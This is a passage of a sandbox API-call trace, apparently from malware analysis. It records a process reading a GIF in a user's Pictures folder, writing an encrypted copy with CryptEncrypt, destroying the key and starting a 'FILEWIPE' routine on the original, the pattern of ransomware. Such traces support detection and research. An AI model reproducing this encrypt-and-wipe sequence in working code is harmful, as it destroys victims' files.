lpMsg=0xe8f3dfee40) returned 0 [0028.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.809] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\uVzP9c0xe2uNMUaJ6.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\uvzp9c0xe2unmuaj6.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.809] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.809] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.809] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w")) returned 0x10 [0028.809] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\uVzP9c0xe2uNMUaJ6.encrypted.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\uvzp9c0xe2unmuaj6.encrypted.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.811] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.811] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xfb04, lpOverlapped=0x0) returned 1 [0028.812] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.815] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.815] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.815] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.815] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.816] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.816] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.816] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.816] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.816] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.816] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.817] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.817] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.817] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.817] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.817] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064af0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064af0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.817] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.817] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.817] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.818] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.818] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.818] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.818] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.818] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.819] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.819] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xfb04, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xfb10) returned 1 [0028.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.819] CharLowerBuffW (in: lpsz="byte[64273]", cchLength=0xb | out: lpsz="byte[64273]") returned 0xb [0028.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.821] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.821] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.821] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.821] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a9160*, pdwDataLen=0xe8f3dfdf68*=0xfb04, dwBufLen=0xfb10 | out: pbData=0xe8f43a9160*, pdwDataLen=0xe8f3dfdf68*=0xfb10) returned 1 [0028.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.821] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.821] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.821] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.821] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.822] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.822] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.822] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.822] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.822] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.822] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.822] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.822] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.826] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.826] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.826] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.828] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.828] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.828] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.828] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.828] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.828] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.828] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.828] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.828] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.829] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.829] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.829] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.829] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.829] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.829] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.829] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.829] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.829] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.829] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.829] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.829] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.829] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0028.830] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.830] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.830] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.830] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0028.830] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.830] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.830] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.830] CloseHandle (hObject=0x1fc) returned 1 [0028.831] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.831] CloseHandle (hObject=0x188) returned 1 [0028.834] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.836] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.836] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.836] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.836] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\uVzP9c0xe2uNMUaJ6.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\uvzp9c0xe2unmuaj6.gif")) returned 0x20 [0028.836] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.836] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\uVzP9c0xe2uNMUaJ6.gif", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069650 [0028.836] FindClose (in: hFindFile=0xe8f4069650 | out: hFindFile=0xe8f4069650) returned 1 [0028.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.837] CharLowerBuffW (in: lpsz="byte[64260]", cchLength=0xb | out: 